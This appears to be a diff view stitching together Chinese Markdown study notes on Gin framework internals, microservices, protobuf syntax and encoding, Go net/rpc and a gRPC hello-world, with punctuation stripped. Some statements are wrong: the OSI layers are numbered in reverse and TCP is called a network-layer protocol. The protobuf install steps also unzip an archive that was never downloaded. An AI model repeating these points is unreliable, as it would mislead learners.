gin.Context内保存了请求的上下文信息是所有请求处理器的入口参数
```go
type HandlerFunc func(*Context)
type Context struct {
...
Request *http.Request // 请求对象
Writer ResponseWriter // 响应对象
Params Params // URL匹配参数
...
Keys map[string]interface{} // 自定义上下文信息
...
}
```
Context 对象提供了非常丰富的方法用于获取当前请求的上下文信息如果你需要获取请求中的 URL 参数CookieHeader 都可以通过 Context 对象来获取这一系列方法本质上是对 http.Request 对象的包装
```go
// 获取 URL 匹配参数 /book/:id
func (c *Context) Param(key string) string
// 获取 URL 查询参数 /book?id=123&page=10
func (c *Context) Query(key string) string
// 获取 POST 表单参数
func (c *Context) PostForm(key string) string
// 获取上传的文件对象
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
// 获取请求Cookie
func (c *Context) Cookie(name string) (string, error)
...
```
Context 对象提供了很多内置的响应形式JSONHTMLProtobuf MsgPackYaml 它会为每一种形式都单独定制一个渲染器通常这些内置渲染器已经足够应付绝大多数场景如果你觉得不够还可以自定义渲染器
```go
func (c *Context) JSON(code int, obj interface{})
func (c *Context) Protobuf(code int, obj interface{})
func (c *Context) YAML(code int, obj interface{})
...
// 自定义渲染
func (c *Context) Render(code int, r render.Render)
// 渲染器通用接口
type Render interface {
Render(http.ResponseWriter) error
WriteContentType(w http.ResponseWriter)
}
```
所有的渲染器最终还是需要调用内置的 http.ResponseWriterContext.Writer 将响应对象转换成字节流写到套接字中
```go
type ResponseWriter interface {
// 容纳所有的响应头
Header() Header
// 写Body
Write([]byte) (int, error)
// 写Header
WriteHeader(statusCode int)
}
```
## 插件与请求链
gin的插件机制中函数链的尾部是业务处理前面部分是插件函数 Gin 中插件和业务处理函数形式是一样的都是 func(*Context)当我们定义路由时Gin 会将插件函数和业务处理函数合并在一起形成一个链条结构
```go
type Context struct {
...
index uint8 // 当前的业务逻辑位于函数链的位置
handlers HandlersChain // 函数链
...
}
// 挨个调用链条中的处理函数
func (c *Context) Next() {
c.index++
for s := int8(len(c.handlers)); c.index < s; c.index++ {
c.handlers[c.index](c)
}
}
```
所以在业务代码中一般一个处理函数时路由节点也需要挂载一个函数链条
Gin 在接收到客户端请求时找到相应的处理链构造一个 Context 对象再调用它的 Next() 方法就正式进入了请求处理的全流程
![](../images/go/gin-04.jpeg)

View File

@ -0,0 +1,166 @@
## 请求流程梳理
首先从gin最开始的创建engine对象部分开始
```go
router := gin.Default()
```
该方法返回了Engine结构体常见属性有
```go
type Engine struct {
//路由组
RouterGroup
RedirectTrailingSlash bool
RedirectFixedPath bool
HandleMethodNotAllowed bool
ForwardedByClientIP bool
AppEngine bool
UseRawPath bool
UnescapePathValues bool
MaxMultipartMemory int64
delims render.Delims
secureJsonPrefix string
HTMLRender render.HTMLRender
FuncMap template.FuncMap
allNoRoute HandlersChain
allNoMethod HandlersChain
noRoute HandlersChain
noMethod HandlersChain
// 对象池 用来创建上下文context
pool sync.Pool
//记录路由方法的 比如GET POST 都会是数组中的一个 每个方法对应一个基数树的一个root的node
trees methodTrees
}
```
Default方法其实就是创建了该对象并添加了一些默认中间件
```go
func Default() *Engine {
debugPrintWARNINGDefault()
engine := New()
engine.Use(Logger(), Recovery())
return engine
}
```
注意这里Default方法内部调用了New方法**该方法默认添加了路由组"/"**
```go
func New() *Engine {
debugPrintWARNINGNew()
engine := &Engine{
RouterGroup: RouterGroup{
Handlers: nil,
basePath: "/",
root: true,
},
FuncMap: template.FuncMap{},
RedirectTrailingSlash: true,
RedirectFixedPath: false,
HandleMethodNotAllowed: false,
ForwardedByClientIP: true,
AppEngine: defaultAppEngine,
UseRawPath: false,
UnescapePathValues: true,
MaxMultipartMemory: defaultMultipartMemory,
trees: make(methodTrees, 0, 9),
delims: render.Delims{Left: "{{", Right: "}}"},
secureJsonPrefix: "while(1);",
}
engine.RouterGroup.engine = engine
engine.pool.New = func() interface{} {
return engine.allocateContext()
}
return engine
}
```
context对象存储了上下文信息包括engine指针request对象responsewriter对象等context在请求一开始就被创建且贯穿整个执行过程包括中间件路由等等
```go
type Context struct {
writermem responseWriter
Request *http.Request
Writer ResponseWriter
Params Params
handlers HandlersChain
index int8
engine *Engine
// Keys is a key/value pair exclusively for the context of each request.
Keys map[string]interface{}
// Errors is a list of errors attached to all the handlers/middlewares who used this context.
Errors errorMsgs
// Accepted defines a list of manually accepted formats for content negotiation.
Accepted []string
}
```
接下来是Use方法
```go
func (engine *Engine) Use(middleware ...HandlerFunc) IRoutes {
//调用routegroup的use方法
engine.RouterGroup.Use(middleware...)
engine.rebuild404Handlers()
engine.rebuild405Handlers()
return engine
}
func (group *RouterGroup) Use(middleware ...HandlerFunc) IRoutes {
//为group的handlers添加中间件
group.Handlers = append(group.Handlers, middleware...)
return group.returnObj()
}
```
最后到达最终路由有GET,POST等多种方法但是每个方法的处理方式都是相同的即把group和传入的handler合并计算出路径存入tree中等待客户端调用
```go
func (group *RouterGroup) GET(relativePath string, handlers ...HandlerFunc) IRoutes {
//调用get方法
return group.handle("GET", relativePath, handlers)
}
func (group *RouterGroup) handle(httpMethod, relativePath string, handlers HandlersChain) IRoutes {
//计算路径地址比如group地址是 router.Group("/api")
//结果为/api/test/ 就是最终计算出来的结果 使用path.join 方法拼接 其中加了一些判断
absolutePath := group.calculateAbsolutePath(relativePath)
//把group中的handler和传入的handler合并
handlers = group.combineHandlers(handlers)
//把方法 路径 和处理方法作为node 加入到基数树种,基数树在下次单独学习分析
group.engine.addRoute(httpMethod, absolutePath, handlers)
return group.returnObj()
}
func (group *RouterGroup) combineHandlers(handlers HandlersChain) HandlersChain {
finalSize := len(group.Handlers) + len(handlers)
if finalSize >= int(abortIndex) {
panic("too many handlers")
}
mergedHandlers := make(HandlersChain, finalSize)
copy(mergedHandlers, group.Handlers)
copy(mergedHandlers[len(group.Handlers):], handlers)
return mergedHandlers
}
```
run方法则是启动服务在http包中会有一个for逻辑不停的监听端口
```go
func (engine *Engine) Run(addr ...string) (err error) {
defer func() { debugPrintError(err) }()
address := resolveAddress(addr)
debugPrint("Listening and serving HTTP on %s\n", address)
err = http.ListenAndServe(address, engine)
return
}
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
```
## 书写类似源码

View File

@ -0,0 +1,107 @@
## Gin对象的构建
Gin框架是基于golang官方的http包搭建起来的http包最重要的实现是
```go
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
```
利用该方法以及参数中的Handler接口实现Gin的EngineContext
```go
package engine
import "net/http"
type Engine struct {
}
func (e *Engine) ServeHTTP(w http.ResponseWriter, req *http.Request) {
}
```
context对象其实就是对ServeHTTP方法参数的封装因为这2个参数在web开发中一个完整请求链中都会用到
```go
type Context struct {
writermem responseWriter
Request *http.Request
Writer ResponseWriter
}
type responseWriter struct {
http.ResponseWriter
size int
status int
}
```
这里多了一个属性 `writermem`如果仅仅只从功能上考虑这里有了RequestWriter已经足够使用了但是框架需要应对多变的返回数据情况必须对其进行封装比如
```go
type ResponseWriter interface {
http.ResponseWriter
Pusher() http.Pusher
Status() int
Size() int
WriteString(string) (int, error)
Written() bool
WriteHeaderNow()
}
```
这里对外暴露的是接口RespnserWriter内部的`http.ResponseWriter`实现原生的ResponseWriter接口在reset()的时候进行拷贝即可
```go
func (c *Context) reset() {
c.Writer = &c.writermem
c.Params = c.Params[0:0]
c.handlers = nil
c.index = -1
c.Keys = nil
c.Errors = c.Errors[0:0]
c.Accepted = nil
}
```
这样做能够更好的符合面向接口编程的概念
Context也可以通过对象池复用提升性能
```go
type Engine struct {
pool sync.Pool
}
func (engine *Engine) ServeHTTP(w http.ResponseWriter, req *http.Request) {
c := engine.pool.Get().(*Context)
c.writermem.reset(w)
c.Request = req
c.reset()
engine.handleHTTPRequest(c)
engine.pool.Put(c)
}
```
紧接着就可以在Context的基础上实现其大量的常用方法了
```go
func (c *Context) Param(key string) string{
return ""
}
func (c *Context) Query(key string) string {
return ""
}
func (c *Context) DefaultQuery(key, defaultValue string) string {
return ""
}
func (c *Context) PostFormArray(key string) []string{
return nil
}
```

View File

@ -0,0 +1,49 @@
## 单体应用
优势
- 架构简单容易上手
- 部署简单依赖少
- 测试方便一旦部署所有功能就可以测了
劣势
- 复杂度变高代码越来越庞大
- 开发效率低协作麻烦
- 牵一发动全身任何一个功能出故障全部完蛋
单体应用在应对高并发时做一下横向扩展即可
## 微服务
微服务就是微小的服务或应用比如linux上的命令行看做一个整体系统那么lscat等每个命令都是一个小的程序
微服务的体现是让每个服务专注于做好一件事情每个服务单独开发和部署服务之间完全隔离
优点
- 单个服务迭代周期短
- 独立部署独立开发
- 可伸缩性好
- 故障隔离不互相影响
缺点
- 复杂度增加一个请求往往经过多个服务
- 监控和定位问题困难
- 服务管理复杂
微服务真正能够落地还是需要很多因素支持的
- 微服务开发需要的框架
- 打包版本管理上线平台支持
- 硬件层支持容器和容器调度
- 服务治理平台支持分布式链路追踪与监控
- 测试自动化支持比如上线前自动化case
## 微服务生态
- 硬件层物理服务器管理操作系统管理配置管理资源隔离和抽象主机监控和日志
- 通信层网络传输(RESTFUL,RPC调用(thrift,dubbox)消息传递(json,protobuf))rpc服务发现与注册(zookeeper,etcd)负载均衡消息传递
- 应用平台层
- 微服务层
分布式数据库CAP原理
- C:consistency每次总是能够读到最近写入的数据或者失败
- A:available每次请求都能够读到数据
- P:partition tolerance系统能够继续工作不管任意个消息由于网络原因失败
目前只能保证CP或者AP

View File

@ -0,0 +1,69 @@
## 数据交互格式
常见数据交互格式有
- xml在webservice中应用最为广泛但是相比于json它的数据更加冗余因为需要成对的闭合标签
- json一般的web项目中最流行的主要还是json因为浏览器对于json数据支持非常好有很多内建的函数支
- protobuf后起之秀谷歌开源的一种数据格式
## protobuf简介
protobuf是google于2008年开源的可扩展序列化结构数据格式相较于传统的xml和jsonprotobuf更适合高性能对响应速度有要求的数据传输场景
利用protobuf可以自定义数据结构使用protobuf对数据结构进行一次描述即可利用各种不同语言或从各种不同数据流中对结构化数据进行轻松读写
protobuf优点
- 1:序列化后体积相比Json和XML很小适合网络传输
- 2:支持跨平台多语言
- 3:消息格式升级和兼容性还不错
- 4:序列化反序列化速度很快快于Json的处理速速
protobuf也有其不可忽视的缺点
- 功能简单无法用来表示复杂的概念
- protobuf是二进制数据格式需要编码和解码数据本身不具有可读性因此只能反序列化之后得到真正可读的数据而XML已经是行业的标准工具且具备自我解释性可以被人们直接读取编辑
## protobuf安装
#### 3.1 linux安装protobuf
下面列出centOS的安装方式
```
# 安装依赖
yum install autoconf automake libtool curl make g++ unzip libffi-dev glibc-headers gcc-c++ -y
# 下载
git clone https://github.com/protocolbuffers/protobuf.git
# 安装
unzip protobuf.zip
cd protobuf
./autogen.sh
./configure
make && make install
ldconfig # 刷新共享库
# 测试
protoc --version
```
#### 3.2 mac安装protobuf
mac推荐使用homebrew安装
```
# 安装
brew install protobuf
brew install automake
brew install libtool
# 测试
protoc --version
```
#### 3.3 win安装protobuf
下载地址: https://github.com/google/protobuf/releases
下载win版本后配置文件中的bin目录到Path环境变量下即可
```
protoc --version #查看protoc的版本
```

View File

@ -0,0 +1,173 @@
## protobuf简单使用
新建一个protobuf文件hello.proto
```
syntax = "proto3";
message HelloRequest {
string name = 1;
int32 height = 2;
string email = 3;
repeated int32 weight = 4 [packed=true];
}
message TestResponse {
string text = 1;
}
```
说明
- 上述示例中创建了2个消息HelloRequest和TestResponse
- 消息中的值1-4分别是键对应的数字id
## protobuf语法
#### 2.1 修饰前缀
- required表示该字段有且只有1个在3.0中该修饰符被移除
- optional表示该字段可以是0或1个后面可加default默认值如果不加使用默认值
- repeated表示该字段可以是0到多个packed=true 代表使用高效编码格式
注意
- id在1-15之间编码只需要占一个字节包括Filed数据类型和Filed对应数字id
- id在16-2047之间编码需要占两个字节所以最常用的数据对应id要尽量小一些
- 使用required规则的时候要谨慎因为以后结构若发生更改这个Filed若被删除的话将可能导致兼容性的问题
#### 2.2 默认值
- strings默认是一个空string
- bytes默认是一个空的bytes
- bools默认是false
- 数值类型默认是0
#### 2.3 保留字段与id
每个字段对应唯一的数字id但是如果该结构在之后的版本中某个Filed删除了为了保持向前兼容性需要将一些id或名称设置为保留的即不能被用来定义新的Field
```
message Person {
reserved 2, 15, 9 to 11;
reserved "samples", "email";
}
```
#### 2.4 枚举类型
比如电话号码只有移动电话家庭电话工作电话三种因此枚举作为选项如果没设置的话枚举类型的默认值为第一项在上面的例子中在个人message中加入电话号码这个Filed如果枚举类型中有不同的名字对应相同的数字id需要加入option allow_alias = true这一项否则会报错枚举类型中也有reserverd Filed和number定义和message中一样
```
message Person {
required string name = 1;
required int32 id = 2;
optional string email = 3;
enum PhoneType {
MOBILE = 0;
HOME = 1;
WORK = 2;
}
message PhoneNumber {
required string number = 1;
optional PhoneType type = 2 [default = HOME];
}
repeated PhoneNumber phones = 4;
}
```
#### 2.5 引用其他message类
在同一个文件中可以直接引用定义过的message类型在同一个项目中可以用import来导入其它message类型
```
import "myproject/other_protos.proto";
```
#### 2.6 message扩展
```
message Person {
// ...
extensions 100 to 199;
}
```
在另一个文件中import 这个proto之后可以对Person这个message进行扩展
```
extend Person {
optional int32 bar = 126;
}
```
#### 2.7 使用其他消息类型与嵌套
可以将其他消息类型作为字段类型例如在每一个PersonInfo消息中包含Person消息此时可以在相同 .proto文件中定义一个Result消息类型然后在PersonInfo消息中指定一个Person类型的字段
```
message PersonInfo {
repeated Person info = 1;
}
message Person {
string name = 1;
int32 shengao = 2;
repeated int32 tizhong = 3;
}
```
可以在其他消息类型中定义使用消息类型在下面的例子中Person消息就定义在PersonInfo消息内:
```
message PersonInfo {
message Person {
string name = 1;
int32 shengao = 2;
repeated int32 tizhong = 3;
}
repeated Person info = 1;
}
```
如果你想在它的父消息类型的外部重用这个消息类型你需要以PersonInfo.Person的形式使用它:
```go
message PersonMessage {
PersonInfo.Person info = 1;
}
```
当然你也可以将消息嵌套任意多层:
```go
message Grandpa {
message Father { // Level 1
message son { // Level 2
string name = 1;
int32 age = 2;
} }
message Uncle { // Level 1
message Son { // Level 2
string name = 1;
int32 age = 2;
}
}
}
```
## 编码原理
#### 3.1 可变长整数编码
每个字节有8bits其中第一个bit是most significant bit(msb)0表示结束1表示还要读接下来的字节
对message中每个Filed来说需要编码它的数据类型对应id以及具体数据
比如对于下面这个例子来说如果给a赋值150那么最终得到的编码是什么呢
```
message Test {
optional int32 a = 1;
}
```
首先数据类型编码是000因此和id联合起来的编码是00001000. 然后值150的编码是1 0010110采用小端序交换位置即0010110 0000001前面补1后面补0即10010110 00000001即96 01加上最前面的数据类型编码字节总的编码为08 96 01
#### 3.2 有符号整数编码
如果用int32来保存一个负数结果总是有10个字节长度被看做是一个非常大的无符号整数使用有符号类型会更高效它使用一种ZigZag的方式进行编码-1编码成11编码成2-2编码成3这种形式
也就是说对于sint32来说n编码成 (n << 1) ^ (n >> 31)注意到第二个移位是算法移位

View File

@ -0,0 +1,106 @@
## 安装Go语言编译protobuf环境
```
# 安装Go语言的proto API接口
go get -v -u github.com/golang/protobuf/proto
# 安装protoc-gen-go插件这是个go程序
go get -v -u github.com/golang/protobuf/protoc-gen-go
# 开启go mod版本的golang拷贝命令该命令位于 go/bin/
cp protoc-gen-go /usr/local/bin/
# 低版本golang需要编译该源码为可执行文件然后拷贝该文件
cd /gopath/github.com/golang/protobuf/protoc-gen-go/
go build
```
## 编译proto文件
新建一个golang项目项目根目录创建protoes/hello.proto文件内容如下
```
syntax = "proto3";
package protoes; // 指定包
message HelloRequest {
string name = 1; // 1-4分别是键对应的数字id
int32 u_count = 2;
}
```
编译hello.proto
```
cd protoes
protoc --go_out=./ *.proto # 在当前目录生成了文件 hello.pb.go
```
当用`protocol buffer`编译器来运行`.proto`文件时编译器将生成所选择语言的代码包括获取设置字段值将消息序列化到一个输出流中以及从一个输入流中解析消息
- C++编译器会为每个.proto文件生成一个.h文件和一个.cc文件.proto文件中的每一个消息有一个对应的类
- Python.proto文件中的每个消息类型生成一个含有静态描述符的模块该模块与一个元类(metaclass)在运行时被用来创建所需的Python数据访问类
- Go编译器会为每个消息类型生成了一个.pd.go文件
hello.pb.go主要内容如下
```go
package protoes
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type HelloRequest struct {
Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
UCount int32 `protobuf:"varint,2,opt,name=u_count,json=uCount,proto3" json:"u_count,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
```
## 使用Go代码获取数据
```go
package main
import (
"fmt"
"github.com/golang/protobuf/proto"
"test/protoes" // test是go mod的项目名
)
func main() {
HelloRequest := protoes.HelloRequest{
Name: *proto.String("lisi"),
UCount: *proto.Int32(17),
}
// 序列化
data, err := proto.Marshal(&HelloRequest)
if err != nil {
fmt.Println("marshal error:", err)
return
}
fmt.Println("marshal data:", data) // 一串流数据
// 反序列化
var list protoes.HelloRequest
err = proto.Unmarshal(data, &list)
if err != nil {
fmt.Println("unmarshal error:", err)
return
}
fmt.Println("Name:", list.GetName()) // lisi
fmt.Println("UCount:", list.GetUCount()) // 17
}
```

View File

@ -0,0 +1,50 @@
## rpc概述
RPC即远程过程调用协议(Remote Procedure Call Protocol)是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议
## rpc执行过程
七层网络模型如下
- 第一层应用层定义了用于在网络中进行通信和传输数据的接口
- 第二层表示层定义不同的系统中数据的传输格式编码和解码规范等
- 第三层会话层管理用户的会话控制用户间逻辑连接的建立和中断
- 第四层传输层管理着网络中的端到端的数据传输
- 第五层网络层定义网络设备间如何传输数据
- 第六层链路层将上面的网络层的数据包封装成数据帧便于物理层传输
- 第七层物理层这一层主要就是传输这些二进制数据
实际应用过程中五层协议结构里面是没有表示层和会话层的应该说它们和应用层合并了
RPC与web请求类似都是客户端向远端服务器请求服务返回结果但是web请求使用的网络协议是http高层协议而rpc所使用的协议多为网络层的TCP协议减少了信息的包装加快了处理速度
在OSI网络通信模型中RPC跨越了传输层和应用层使得开发包括网络分布式多程序在内的应用程序更加容易运行时一次客户机对服务器的RPC调用步骤如下
- 1 调用客户端句柄传送参数
- 2 调用本地系统内核发送网络消息
- 3 消息传送到远程主机
- 4 服务器句柄得到消息并得到参数
- 5 执行远程过程
- 6 返回执行结果给服务器句柄
- 7 服务器句柄返回结果调用远程系统内核
- 8 消息传回本地主机
- 9 客户句柄由内核接收消息
- 10 客户接收句柄返回的数据
## rpc架构
一个完整的RPC架构里面包含了四个核心的组件分别是Client ,Server,Client Stub以及Server Stub这个Stub大家可以理解为存根分别说说这几个组件
- 客户端Client服务的调用方
- 服务端Server真正的服务提供者
- 客户端存根存放服务端的地址消息再将客户端的请求参数打包成网络消息然后通过网络远程发送给服务方
- 服务端存根接收客户端发送过来的消息将消息解包并调用本地的方法
调用过程如图
![](../images/go/rpc-01.jpg)
## rpc的实现
常见的rpc实现有
- go原生rpcgo的rpc包封装了rpc相关实现但Go的RPC它只支持Go开发的服务器与客户端之间的交互因为在内部它们采用了Gob来编码
- grpcGoogle开源的rpc实现基于最新的HTTP2.0协议并支持常见的众多编程语言
- thriftFacebook开源的跨语言的服务开发框架它有一个代码生成器来对它所定义的IDL定义文件自动生成服务代码框架用户只要在其之前进行二次开发就行对于底层的RPC通讯等都是透明的
- dubbo阿里开源的rpc框架远程接口是基于`Java Interface`依托于spring框架可以方便的打包成单一文件独立进程运行和现在的微服务概念一致
- HSF淘宝系内部rpc框架

View File

@ -0,0 +1,368 @@
## Go RPC
Go标准包中已经提供了对RPC的支持而且支持三个级别的RPCTCPHTTPJSONRPC但Go的RPC它只支持Go开发的服务器与客户端之间的交互因为在内部它们采用了Gob来编码
Go RPC的函数只有符合下面的条件才能被远程访问不然会被忽略详细的要求如下
- 函数必须是导出的(首字母大写)
- 必须有两个导出类型的参数
- 第一个参数是接收的参数第二个参数是返回给客户端的参数第二个参数必须是指针类型的
- 函数还要有一个返回值error
举个例子正确的RPC函数格式如下
```go
func (t *T) MethodName(argType T1, replyType *T2) error // T、T1和T2类型必须能被`encoding/gob`包编解码。
```
任何的RPC都需要通过网络来传递数据Go RPC可以利用HTTP和TCP来传递数据利用HTTP的好处是可以直接复用`net/http`里面的一些函数
## HTTP RPC
#### 2.1 http rpc 服务端
```go
package main
import (
"errors"
"fmt"
"net/http"
"net/rpc"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
rpc.HandleHTTP()
err := http.ListenAndServe(":1234", nil)
if err != nil {
fmt.Println(err.Error())
}
}
```
在上述案例中注册了一个Arith的RPC服务然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上此后可以利用http的方式来传递数据了
#### 2.2 http rpc 客户端
```Go
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server")
os.Exit(1)
}
serverAddress := os.Args[1]
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
```
通过上面的调用可以看到参数和返回值是我们定义的struct类型在服务端我们把它们当做调用函数的参数的类型在客户端作为`client.Call`的第23两个参数的类型客户端最重要的就是这个Call函数它有3个参数第1个要调用的函数的名字第2个是要传递的参数第3个要返回的参数(注意是指针类型)通过上面的代码例子我们可以发现使用Go的RPC实现相当方便
## TCP RPC
基于TCP协议的RPC服务端的实现代码如下所示
```Go
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
rpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
```
上面这个代码和http的服务器相比采用了TCP协议然后需要自己控制连接当有客户端连接上来后我们需要把这个连接交给rpc来处理
```Go
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
os.Exit(1)
}
service := os.Args[1]
client, err := rpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
```
这个客户端代码和http的客户端代码对比唯一的区别一个是DialHTTP一个是Dial(tcp)其他处理一模一样
## JSON RPC
JSON RPC是数据编码采用了JSON而不是gob编码其他和上面介绍的RPC概念一模一样服务端实现如下
```Go
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
jsonrpc.ServeConn(conn)
}
}
func checkError(err error) {
if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
```
通过示例我们可以看出 json-rpc是基于TCP协议实现的目前它还不支持HTTP方式
请看客户端的实现代码
```Go
package main
import (
"fmt"
"log"
"net/rpc/jsonrpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server:port")
log.Fatal(1)
}
service := os.Args[1]
client, err := jsonrpc.Dial("tcp", service)
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
```

View File

@ -0,0 +1,179 @@
## grpc
#### 1.1 grpc概念
grpc是Google开源的rpc实现基于最新的HTTP2.0协议并支持常见的众多编程语言
与许多RPC系统类似gRPC里客户端应用可以像调用本地对象一样直接调用另一台不同的机器上服务端应用的方法使得开发者能够更容易地创建分布式应用和服务
gRPC理念:
- 定义一个服务指定其能够被远程调用的方法(包含参数和返回类型)
- 在服务端实现这个接口并运行一个gRPC服务器来处理客户端调用
gRPC客户端和服务端可以在多种环境中运行和交互并且可以用任何 gRPC 支持的语言来编写所以开发者可以很容易地用 Java 创建一个 gRPC 服务端 Go PythonRuby来创建客户端
#### 1.2 GRPC protocol buffers
gRPC默认使用protoBuf这是 Google 开源的一套成熟的结构数据序列化机制(当然也可以使用其他数据格式如 JSON )
## go搭建 grpc helloworld
#### 2.0 项目结构
![](../images/go/rpc-02.png)
#### 2.1 设置proto文件
创建文件server/protoes/hello.proto server是go mod的模块名
```
syntax = "proto3";
package protoes;
service HelloServer{
rpc SayHi(HelloRequest)returns(HelloReplay){}
rpc GetMsg(HelloRequest)returns(HelloMessage){}
}
message HelloRequest{
string name = 1 ;
}
message HelloReplay{
string message = 1;
}
message HelloMessage{
string msg = 1;
}
```
在protoes文件所在的文件夹输入下面命令生产pb.go文件:
```
protoc --go_out=plugins=grpc:. *.proto
```
#### 2.1 服务端
```go
package main
import (
"fmt"
"context"
"google.golang.org/grpc"
"net"
pb "test/protoes"
)
// 对象要和proto内定义的服务一致
type server struct{
}
// 实现rpc的 SayHi接口
func(s *server)SayHi(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReplay, error){
return &pb.HelloReplay{
Message: "Hi " + in.Name,
}, nil
}
// 实现rpc的 GetMsg接口
func(s *server)GetMsg(ctx context.Context, in *pb.HelloRequest) (*pb.HelloMessage, error){
return &pb.HelloMessage{
Msg: "Server msg is coming...",
}, nil
}
func main() {
// 监听网络
ln, err := net.Listen("tcp", "127.0.0.1:3000")
if err != nil {
fmt.Println("网络异常:", err)
return
}
// 创建grpc句柄
srv := grpc.NewServer()
// 将server结构体注册到grpc服务中
pb.RegisterHelloServerServer(srv, &server{})
// 监听服务
err = srv.Serve(ln)
if err != nil {
fmt.Println("监听异常:", err)
return
}
}
```
#### 2.2 客户端
```go
package main
import (
"fmt"
"context"
"google.golang.org/grpc"
pb "test/protoes"
)
func main() {
// 客户端连接服务器
conn,err := grpc.Dial("127.0.0.1:3000", grpc.WithInsecure())
if err != nil {
fmt.Println("连接服务器失败",err)
}
defer conn.Close()
// 获得grpc句柄
c := pb.NewHelloServerClient(conn)
// 远程单调用 SayHi 接口
r1, err := c.SayHi(
context.Background(),
&pb.HelloRequest{
Name: "Kitty",
},
)
if err != nil {
fmt.Println("Can not get SayHi:", err)
return
}
fmt.Println("SayHi 响应:", r1)
// 远程单调用 GetMsg 接口
r2, err := c.GetMsg(
context.Background(),
&pb.HelloRequest{
Name: "Kitty",
},
)
if err != nil {
fmt.Println("Can not get GetMsg:", err)
return
}
fmt.Println("GetMsg 响应:", r2)
}
```
#### 2.3 测试
依次进入server与client文件夹执行
```
go run server.go
go run client.go
```
客户端输出结果
```
SayHi 响应 message:"Hi Kitty"
GetMsg 响应 msg:"Server msg is coming..."
```

View File

@ -0,0 +1,88 @@
## 服务发现
#### 1.1 服务发现出现的缘由
因为一套微服务架构中有很多个服务需要管理管理几百个服务所使用的端口列表是一大挑战我们应该部署无需指定端口的服务并让Docker为我们分配一个随机端口
